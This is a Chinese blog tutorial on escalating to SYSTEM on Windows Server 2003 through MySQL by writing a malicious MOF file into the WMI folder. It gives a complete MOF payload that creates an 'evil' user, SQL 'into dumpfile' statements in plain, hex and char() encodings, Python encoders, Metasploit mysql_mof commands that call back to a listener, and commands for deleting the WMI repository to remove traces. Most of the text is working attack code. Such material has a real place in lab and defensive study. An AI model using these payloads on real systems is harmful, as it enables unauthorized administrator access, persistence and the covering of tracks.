这篇文章上次修改于 708 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

0x01 简介

MOF 文件是 mysql 数据库的扩展(C:\WINDOWS\system32\wbem\mof)叫做”托管对象格式”,其作用是每隔60s就会去监控进程创建和死亡,因为 MOF 文件每60s就会执行,且是系统权限,所以如果我们有权限替换原有的MOF文件,就能获得 system 权限。

执行成功写入 MOF 文件会出现在C:\WINDOWS\system32\wbem\mof\good目录下,否则出现在C:\WINDOWS\system32\wbem\mof\bad目录下。

0x02 利用条件

  • Windows <= 2003
  • 掌握 mysql 数据库的账号,且账号有写入权限
  • mysql 在C:\WINDOWS\system32\wbem\mof目录有写入权限

0x03 实验环境

  • 系统:Windows Server 2003 Enterprise x64 Edition
  • 数据库:MySQL 5.5.53

0x04 利用方法

4.1 有 webshell

新建一个 user.mof 文件,内容如下

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user evil Abcd1234 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

将该文件上传到目标主机中,然后执行以下命令

# 这里只能用 into dumpfile,不能用 into outfile,因为 into outfile函数会在行末端写入新行,更致命的是会转义换行符,这样的话这个二进制可执行文件就会被破坏
select load_file('C:\\phpStudy\\PHPTutorial\\WWW\\DVWA\\user.mof') into dumpfile 'C:\\WINDOWS\\system32\\wbem\\mof\\user.mof';

可以看到,成功执行了net.exe user evil Abcd1234 /add命令,添加了一个 evil 用户,接下来再用同样的方法执行net.exe localgroup administrators evil /add命令便可提权至 admin。

4.2 无 webshell

4.2.1 16进制写入

写一个 python 脚本将 evil.mof 文件转化为16进制,代码如下

import binascii

with open('evil.mof', 'rb') as f:
    content = f.read()
hex1 = binascii.hexlify(content)
hex = str(hex1,'utf-8')
print('0x'+hex)

转化好之后再用 sql 语句写入

# 这里只能用 into dumpfile,不能用 into outfile,因为 into outfile 函数会在行末端写入新行,更致命的是会转义换行符,这样的话这个二进制可执行文件就会被破坏
select 0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e22290d0a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c7465720d0a7b0d0a4576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b0d0a4e616d65203d202266696c745032223b0d0a5175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e7420220d0a22576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c2220220d0a22416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b0d0a51756572794c616e6775616765203d202257514c223b0d0a7d3b0d0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d65720d0a7b0d0a4e616d65203d2022636f6e735043535632223b0d0a536372697074696e67456e67696e65203d20224a536372697074223b0d0a53637269707454657874203d0d0a2276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c226e65742e6578652075736572206576696c204162636431323334202f6164645c2229223b0d0a7d3b0d0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e670d0a7b0d0a436f6e73756d6572203d2024436f6e73756d65723b0d0a46696c746572203d20244576656e7446696c7465723b0d0a7d3b into dumpfile 'C:\\WINDOWS\\system32\\wbem\\mof\\user.mof';

4.2.2 ascii 码写入

写一个 python 脚本将 evil.mof 的文件内容转化为 ascii 码

import binascii
import numpy as np
import re

with open('evil.mof', 'rb') as f:
    a = f.read()
asc1 = np.frombuffer(a, dtype=np.uint8)
asc = asc1.tolist()
print(asc)

转化好之后再用 sql 语句写入

# 这里只能用 into dumpfile,不能用 into outfile,因为 into outfile 函数会在行末端写入新行,更致命的是会转义换行符,这样的话这个二进制可执行文件就会被破坏
select char(35, 112, 114, 97, 103, 109, 97, 32, 110, 97, 109, 101, 115, 112, 97, 99, 101, 40, 34, 92, 92, 92, 92, 46, 92, 92, 114, 111, 111, 116, 92, 92, 115, 117, 98, 115, 99, 114, 105, 112, 116, 105, 111, 110, 34, 41, 13, 10, 105, 110, 115, 116, 97, 110, 99, 101, 32, 111, 102, 32, 95, 95, 69, 118, 101, 110, 116, 70, 105, 108, 116, 101, 114, 32, 97, 115, 32, 36, 69, 118, 101, 110, 116, 70, 105, 108, 116, 101, 114, 13, 10, 123, 13, 10, 69, 118, 101, 110, 116, 78, 97, 109, 101, 115, 112, 97, 99, 101, 32, 61, 32, 34, 82, 111, 111, 116, 92, 92, 67, 105, 109, 118, 50, 34, 59, 13, 10, 78, 97, 109, 101, 32, 61, 32, 34, 102, 105, 108, 116, 80, 50, 34, 59, 13, 10, 81, 117, 101, 114, 121, 32, 61, 32, 34, 83, 101, 108, 101, 99, 116, 32, 42, 32, 70, 114, 111, 109, 32, 95, 95, 73, 110, 115, 116, 97, 110, 99, 101, 77, 111, 100, 105, 102, 105, 99, 97, 116, 105, 111, 110, 69, 118, 101, 110, 116, 32, 34, 13, 10, 34, 87, 104, 101, 114, 101, 32, 84, 97, 114, 103, 101, 116, 73, 110, 115, 116, 97, 110, 99, 101, 32, 73, 115, 97, 32, 92, 34, 87, 105, 110, 51, 50, 95, 76, 111, 99, 97, 108, 84, 105, 109, 101, 92, 34, 32, 34, 13, 10, 34, 65, 110, 100, 32, 84, 97, 114, 103, 101, 116, 73, 110, 115, 116, 97, 110, 99, 101, 46, 83, 101, 99, 111, 110, 100, 32, 61, 32, 53, 34, 59, 13, 10, 81, 117, 101, 114, 121, 76, 97, 110, 103, 117, 97, 103, 101, 32, 61, 32, 34, 87, 81, 76, 34, 59, 13, 10, 125, 59, 13, 10, 105, 110, 115, 116, 97, 110, 99, 101, 32, 111, 102, 32, 65, 99, 116, 105, 118, 101, 83, 99, 114, 105, 112, 116, 69, 118, 101, 110, 116, 67, 111, 110, 115, 117, 109, 101, 114, 32, 97, 115, 32, 36, 67, 111, 110, 115, 117, 109, 101, 114, 13, 10, 123, 13, 10, 78, 97, 109, 101, 32, 61, 32, 34, 99, 111, 110, 115, 80, 67, 83, 86, 50, 34, 59, 13, 10, 83, 99, 114, 105, 112, 116, 105, 110, 103, 69, 110, 103, 105, 110, 101, 32, 61, 32, 34, 74, 83, 99, 114, 105, 112, 116, 34, 59, 13, 10, 83, 99, 114, 105, 112, 116, 84, 101, 120, 116, 32, 61, 13, 10, 34, 118, 97, 114, 32, 87, 83, 72, 32, 61, 32, 110, 101, 119, 32, 65, 99, 116, 105, 118, 101, 88, 79, 98, 106, 101, 99, 116, 40, 92, 34, 87, 83, 99, 114, 105, 112, 116, 46, 83, 104, 101, 108, 108, 92, 34, 41, 92, 110, 87, 83, 72, 46, 114, 117, 110, 40, 92, 34, 110, 101, 116, 46, 101, 120, 101, 32, 117, 115, 101, 114, 32, 101, 118, 105, 108, 32, 65, 98, 99, 100, 49, 50, 51, 52, 32, 47, 97, 100, 100, 92, 34, 41, 34, 59, 13, 10, 125, 59, 13, 10, 105, 110, 115, 116, 97, 110, 99, 101, 32, 111, 102, 32, 95, 95, 70, 105, 108, 116, 101, 114, 84, 111, 67, 111, 110, 115, 117, 109, 101, 114, 66, 105, 110, 100, 105, 110, 103, 13, 10, 123, 13, 10, 67, 111, 110, 115, 117, 109, 101, 114, 32, 61, 32, 36, 67, 111, 110, 115, 117, 109, 101, 114, 59, 13, 10, 70, 105, 108, 116, 101, 114, 32, 61, 32, 36, 69, 118, 101, 110, 116, 70, 105, 108, 116, 101, 114, 59, 13, 10, 125, 59) into dumpfile 'C:\\WINDOWS\\system32\\wbem\\mof\\user.mof';

4.2.3 msf

可以利用 msf 的exploit/windows/mysql/mysql_mof模块进行自动化提权,命令如下

use exploit/windows/mysql/mysql_mof
# mysql账号密码
set username root
set password root
# 目标主机ip和端口
set rhost 192.168.26.174
set rport 3306
# 接收shell的ip和端口
set lhost 192.168.26.129
set lport 4444
run

返回的是 system 权限

0x05 其他情况

5.1

经过测试 Windows Server 2008 无法利用

0x06 痕迹

6.1 进程

写入文件前,进程列表如下

写入后,4s左右出现了 wmiadap.exe 进程,该进程持续了2s左右便结束了

过了49s左右,出现了 scrcons.exe 进程

自定义的脚本运行时,是由 WMI 发起的,由系统自带的 scrcons.exe 作为脚本宿主进行解析,而 scrcons.exe 是由系统以 SYSTEM 权限启动的,也就是说,我们的脚本是以 SYSTEM 权限执行的。

6.2 文件

成功执行的文件会在C:\WINDOWS\system32\wbem\mof\good目录中,且每隔60s就会执行一次,所以成功执行后,我们就可以远程登录目标主机,在 cmd 中用命令把它删除,删除命令如下

# 停止 winmgmt 服务
net stop winmgmt
# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\
# 删除 mof 文件
del C:\WINDOWS\system32\wbem\mof\good\user.mof /F /S
# 重新启动服务
net start winmgmt

0x07 踩坑记录

7.1

mysql 5.5 默认secure_file_privnull,表示限制 mysqld 不允许导入|导出,修改my.ini文件,加上secure_file_priv=''就行了,注意,要添加在[mysqld]

7.2

在第一台虚拟机时文件无法写入C:\\WINDOWS\\system32\\wbem\mof,尝试对C:\\WINDOWS\\system32\\wbem进行写入发现文件写入了C:\\WINDOWS\\SysWOW64\\wbem,折腾许久后换了一台虚拟机就没问题了,原因不详,下面第一张图是不能写入的,第二张是可以写入的

7.3

网上的 evil.mof 的代码有些可能是格式问题,不能使用,尝试了好几个才找到能用的了

0x08 参考

无shell情况下的mysql远程mof提权利用方法详解

mof提权

Mysql的udf提权于mof提权

提权学习:MySQL数据库提权(mof 漏洞提权)